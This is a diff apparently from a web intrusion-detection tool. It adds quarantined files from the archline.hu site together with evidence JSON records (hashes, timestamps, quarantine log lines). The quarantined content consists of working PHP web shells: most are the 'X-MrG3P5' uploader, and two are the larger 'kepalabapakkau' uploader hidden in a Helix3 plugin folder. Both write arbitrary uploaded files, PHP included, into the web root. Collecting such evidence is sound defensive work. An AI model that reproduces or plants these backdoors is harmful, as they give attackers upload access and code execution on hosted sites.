';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/jjslj.php3.json.evidence.json b/var/www/hosting/archline.hu/www/jjslj.php3.json.evidence.json new file mode 100644 index 0000000..84117a5 --- /dev/null +++ b/var/www/hosting/archline.hu/www/jjslj.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2879", + "log_excerpt": "[quarantine] www.archline.hu:jjslj.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/jjslj.php3.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783813990, + "size": 448, + "uid": 20043 + }, + "rel_path": "jjslj.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/jvjrn.phar.json b/var/www/hosting/archline.hu/www/jvjrn.phar.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/jvjrn.phar.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/jvjrn.phar.json.evidence.json b/var/www/hosting/archline.hu/www/jvjrn.phar.json.evidence.json new file mode 100644 index 0000000..19b031e --- /dev/null +++ b/var/www/hosting/archline.hu/www/jvjrn.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2898", + "log_excerpt": "[quarantine] www.archline.hu:jvjrn.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/jvjrn.phar.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783813978, + "size": 448, + "uid": 20043 + }, + "rel_path": "jvjrn.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/lmxjo.php.json b/var/www/hosting/archline.hu/www/lmxjo.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/lmxjo.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/lmxjo.php.json.evidence.json b/var/www/hosting/archline.hu/www/lmxjo.php.json.evidence.json new file mode 100644 index 0000000..74fc6aa --- /dev/null +++ b/var/www/hosting/archline.hu/www/lmxjo.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2933", + "log_excerpt": "[quarantine] www.archline.hu:lmxjo.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/lmxjo.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783950931, + "size": 448, + "uid": 20043 + }, + "rel_path": "lmxjo.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/lyasi.php7.json b/var/www/hosting/archline.hu/www/lyasi.php7.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/lyasi.php7.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/lyasi.php7.json.evidence.json b/var/www/hosting/archline.hu/www/lyasi.php7.json.evidence.json new file mode 100644 index 0000000..b00d226 --- /dev/null +++ b/var/www/hosting/archline.hu/www/lyasi.php7.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2829", + "log_excerpt": "[quarantine] www.archline.hu:lyasi.php7.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/lyasi.php7.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783792277, + "size": 448, + "uid": 20043 + }, + "rel_path": "lyasi.php7.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/media/up_metq24.php.json b/var/www/hosting/archline.hu/www/media/up_metq24.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/up_metq24.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/media/up_metq24.php.json.evidence.json b/var/www/hosting/archline.hu/www/media/up_metq24.php.json.evidence.json new file mode 100644 index 0000000..e5acb26 --- /dev/null +++ b/var/www/hosting/archline.hu/www/media/up_metq24.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "3044", + "log_excerpt": "[quarantine] www.archline.hu:media/up_metq24.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/media/up_metq24.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812900, + "size": 448, + "uid": 20043 + }, + "rel_path": "media/up_metq24.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/mlegu.php5.json b/var/www/hosting/archline.hu/www/mlegu.php5.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/mlegu.php5.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/mlegu.php5.json.evidence.json b/var/www/hosting/archline.hu/www/mlegu.php5.json.evidence.json new file mode 100644 index 0000000..d605602 --- /dev/null +++ b/var/www/hosting/archline.hu/www/mlegu.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2871", + "log_excerpt": "[quarantine] www.archline.hu:mlegu.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/mlegu.php5.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783792279, + "size": 448, + "uid": 20043 + }, + "rel_path": "mlegu.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json b/var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json.evidence.json b/var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json.evidence.json new file mode 100644 index 0000000..f9a5ebd --- /dev/null +++ b/var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4743", + "log_excerpt": "[quarantine] www.archline.hu:modules/up_1uzuky.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/modules/up_1uzuky.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812933, + "size": 448, + "uid": 20043 + }, + "rel_path": "modules/up_1uzuky.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json b/var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json.evidence.json b/var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json.evidence.json new file mode 100644 index 0000000..d5a63a8 --- /dev/null +++ b/var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4738", + "log_excerpt": "[quarantine] www.archline.hu:modules/up_4jykrt.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/modules/up_4jykrt.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783813020, + "size": 448, + "uid": 20043 + }, + "rel_path": "modules/up_4jykrt.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/niegn.php.json b/var/www/hosting/archline.hu/www/niegn.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/niegn.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/niegn.php.json.evidence.json b/var/www/hosting/archline.hu/www/niegn.php.json.evidence.json new file mode 100644 index 0000000..9605d25 --- /dev/null +++ b/var/www/hosting/archline.hu/www/niegn.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2847", + "log_excerpt": "[quarantine] www.archline.hu:niegn.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/niegn.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783792271, + "size": 448, + "uid": 20043 + }, + "rel_path": "niegn.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/orprr.php3.json b/var/www/hosting/archline.hu/www/orprr.php3.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/orprr.php3.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/orprr.php3.json.evidence.json b/var/www/hosting/archline.hu/www/orprr.php3.json.evidence.json new file mode 100644 index 0000000..b276662 --- /dev/null +++ b/var/www/hosting/archline.hu/www/orprr.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2845", + "log_excerpt": "[quarantine] www.archline.hu:orprr.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/orprr.php3.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783792281, + "size": 448, + "uid": 20043 + }, + "rel_path": "orprr.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json new file mode 100644 index 0000000..12c2b30 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json @@ -0,0 +1,102 @@ + 10000000) { + echo "Maaf, file terlalu besar (maks 10MB)."; + $uploadOk = 0; + } + + if ($uploadOk == 1) { + // Buat folder jika belum ada + if (!is_dir($target_dir)) { + mkdir($target_dir, 0755, true); + } + + // Pindahkan file (terima SEMUA jenis file) + if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { + echo "✅ File berhasil diupload: " . htmlspecialchars(basename($_FILES["file"]["name"])); + echo "

"; + echo "Path: " . htmlspecialchars($target_file); + echo "

"; + echo "🔗 Akses File"; + } else { + echo "❌ Maaf, terjadi kesalahan saat upload."; + } + } +} else { +?> + + + + + File Uploader + + + +
+

📤 File Uploader

+
+ +
+ +
+
+ Info:
+ ✅ Semua jenis file diterima (PHP, JPG, TXT, dll)
+ ✅ Maks ukuran: 10MB
+ ✅ File akan disimpan di folder: uploads/ +
+
+ + + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json.evidence.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json.evidence.json new file mode 100644 index 0000000..c9ea8b2 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4727", + "log_excerpt": "[quarantine] www.archline.hu:plugins/system/helix3/core/kepalabapakkau.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/plugins/system/helix3/core/kepalabapakkau.php.json)", + "original_sha256": "a375ceff19a63d444a844da202d6c54500c416f9003d24c602bfbf56ff2968ba", + "original_stat": { + "gid": 30037, + "mtime": 1783819444, + "size": 2852, + "uid": 20043 + }, + "rel_path": "plugins/system/helix3/core/kepalabapakkau.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json new file mode 100644 index 0000000..12c2b30 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json @@ -0,0 +1,102 @@ + 10000000) { + echo "Maaf, file terlalu besar (maks 10MB)."; + $uploadOk = 0; + } + + if ($uploadOk == 1) { + // Buat folder jika belum ada + if (!is_dir($target_dir)) { + mkdir($target_dir, 0755, true); + } + + // Pindahkan file (terima SEMUA jenis file) + if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) { + echo "✅ File berhasil diupload: " . htmlspecialchars(basename($_FILES["file"]["name"])); + echo "

"; + echo "Path: " . htmlspecialchars($target_file); + echo "

"; + echo "🔗 Akses File"; + } else { + echo "❌ Maaf, terjadi kesalahan saat upload."; + } + } +} else { +?> + + + + + File Uploader + + + +
+

📤 File Uploader

+
+ +
+ +
+
+ Info:
+ ✅ Semua jenis file diterima (PHP, JPG, TXT, dll)
+ ✅ Maks ukuran: 10MB
+ ✅ File akan disimpan di folder: uploads/ +
+
+ + + \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json.evidence.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json.evidence.json new file mode 100644 index 0000000..fa3d7a0 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4722", + "log_excerpt": "[quarantine] www.archline.hu:plugins/system/helix3/kepalabapakkau.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/plugins/system/helix3/kepalabapakkau.php.json)", + "original_sha256": "a375ceff19a63d444a844da202d6c54500c416f9003d24c602bfbf56ff2968ba", + "original_stat": { + "gid": 30037, + "mtime": 1783819433, + "size": 2852, + "uid": 20043 + }, + "rel_path": "plugins/system/helix3/kepalabapakkau.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json.evidence.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json.evidence.json new file mode 100644 index 0000000..2f490b4 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4723", + "log_excerpt": "[quarantine] www.archline.hu:plugins/system/helix3/up_3vz7nx.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/plugins/system/helix3/up_3vz7nx.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812865, + "size": 448, + "uid": 20043 + }, + "rel_path": "plugins/system/helix3/up_3vz7nx.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json.evidence.json b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json.evidence.json new file mode 100644 index 0000000..47bc407 --- /dev/null +++ b/var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "4726", + "log_excerpt": "[quarantine] www.archline.hu:plugins/system/helix3/up_njn5a7.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/plugins/system/helix3/up_njn5a7.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783812965, + "size": 448, + "uid": 20043 + }, + "rel_path": "plugins/system/helix3/up_njn5a7.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/qmszk.phtml.json b/var/www/hosting/archline.hu/www/qmszk.phtml.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/qmszk.phtml.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/qmszk.phtml.json.evidence.json b/var/www/hosting/archline.hu/www/qmszk.phtml.json.evidence.json new file mode 100644 index 0000000..f40b453 --- /dev/null +++ b/var/www/hosting/archline.hu/www/qmszk.phtml.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2848", + "log_excerpt": "[quarantine] www.archline.hu:qmszk.phtml.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/qmszk.phtml.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783792275, + "size": 448, + "uid": 20043 + }, + "rel_path": "qmszk.phtml.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/qtu3ha5k.php.json b/var/www/hosting/archline.hu/www/qtu3ha5k.php.json new file mode 100644 index 0000000..aa38675 --- /dev/null +++ b/var/www/hosting/archline.hu/www/qtu3ha5k.php.json @@ -0,0 +1 @@ +


'.php_uname().'\n'.'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/qtu3ha5k.php.json.evidence.json b/var/www/hosting/archline.hu/www/qtu3ha5k.php.json.evidence.json new file mode 100644 index 0000000..333f2f7 --- /dev/null +++ b/var/www/hosting/archline.hu/www/qtu3ha5k.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2911", + "log_excerpt": "[quarantine] www.archline.hu:qtu3ha5k.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/qtu3ha5k.php.json)", + "original_sha256": "bda53061cafd05df8fa25b593585eb3e100acdade3891592286dd1b870053721", + "original_stat": { + "gid": 30037, + "mtime": 1783813041, + "size": 448, + "uid": 20043 + }, + "rel_path": "qtu3ha5k.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/rzrqw.php3.json b/var/www/hosting/archline.hu/www/rzrqw.php3.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/rzrqw.php3.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/rzrqw.php3.json.evidence.json b/var/www/hosting/archline.hu/www/rzrqw.php3.json.evidence.json new file mode 100644 index 0000000..e3fa4ec --- /dev/null +++ b/var/www/hosting/archline.hu/www/rzrqw.php3.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2914", + "log_excerpt": "[quarantine] www.archline.hu:rzrqw.php3.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/rzrqw.php3.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783950929, + "size": 448, + "uid": 20043 + }, + "rel_path": "rzrqw.php3.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/sad.php.json b/var/www/hosting/archline.hu/www/sad.php.json new file mode 100644 index 0000000..df6212e --- /dev/null +++ b/var/www/hosting/archline.hu/www/sad.php.json @@ -0,0 +1 @@ +'.$n.'';}}?>
\ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/sad.php.json.evidence.json b/var/www/hosting/archline.hu/www/sad.php.json.evidence.json new file mode 100644 index 0000000..a5c5681 --- /dev/null +++ b/var/www/hosting/archline.hu/www/sad.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2896", + "log_excerpt": "[quarantine] www.archline.hu:sad.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/sad.php.json)", + "original_sha256": "d4f090c087ec604b4946b3bb987de438854011d6b0a8ea8f1c600df757f16b95", + "original_stat": { + "gid": 30037, + "mtime": 1783801961, + "size": 446, + "uid": 20043 + }, + "rel_path": "sad.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/scsda.php.json b/var/www/hosting/archline.hu/www/scsda.php.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/scsda.php.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/scsda.php.json.evidence.json b/var/www/hosting/archline.hu/www/scsda.php.json.evidence.json new file mode 100644 index 0000000..b37ac8e --- /dev/null +++ b/var/www/hosting/archline.hu/www/scsda.php.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2920", + "log_excerpt": "[quarantine] www.archline.hu:scsda.php.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/scsda.php.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783811768, + "size": 448, + "uid": 20043 + }, + "rel_path": "scsda.php.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/sffiv.php5.json b/var/www/hosting/archline.hu/www/sffiv.php5.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/sffiv.php5.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/sffiv.php5.json.evidence.json b/var/www/hosting/archline.hu/www/sffiv.php5.json.evidence.json new file mode 100644 index 0000000..8b05c64 --- /dev/null +++ b/var/www/hosting/archline.hu/www/sffiv.php5.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2935", + "log_excerpt": "[quarantine] www.archline.hu:sffiv.php5.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/sffiv.php5.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783813987, + "size": 448, + "uid": 20043 + }, + "rel_path": "sffiv.php5.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/slguf.phar.json b/var/www/hosting/archline.hu/www/slguf.phar.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/slguf.phar.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'Ok Uploaded';}else{echo 'Not uploaded!';}}?> \ No newline at end of file diff --git a/var/www/hosting/archline.hu/www/slguf.phar.json.evidence.json b/var/www/hosting/archline.hu/www/slguf.phar.json.evidence.json new file mode 100644 index 0000000..353cdf6 --- /dev/null +++ b/var/www/hosting/archline.hu/www/slguf.phar.json.evidence.json @@ -0,0 +1,15 @@ +{ + "finding_ref": "2934", + "log_excerpt": "[quarantine] www.archline.hu:slguf.phar.json -> quarantined (dest=/var/lib/web-hids/quarantine/var/www/hosting/archline.hu/www/slguf.phar.json)", + "original_sha256": "a9422f224ffc70deb475a1ad4d399a4bfcb87a3a7051341bfd9a8326153416cb", + "original_stat": { + "gid": 30037, + "mtime": 1783811771, + "size": 448, + "uid": 20043 + }, + "rel_path": "slguf.phar.json", + "result": "quarantined", + "timestamp": "20260718T160241Z", + "vhost": "www.archline.hu" +} diff --git a/var/www/hosting/archline.hu/www/sokeo.php7.json b/var/www/hosting/archline.hu/www/sokeo.php7.json new file mode 100644 index 0000000..199d0d1 --- /dev/null +++ b/var/www/hosting/archline.hu/www/sokeo.php7.json @@ -0,0 +1 @@ +


'.php_uname()."\n".'
{ Uploader by X-MrG3P5 }

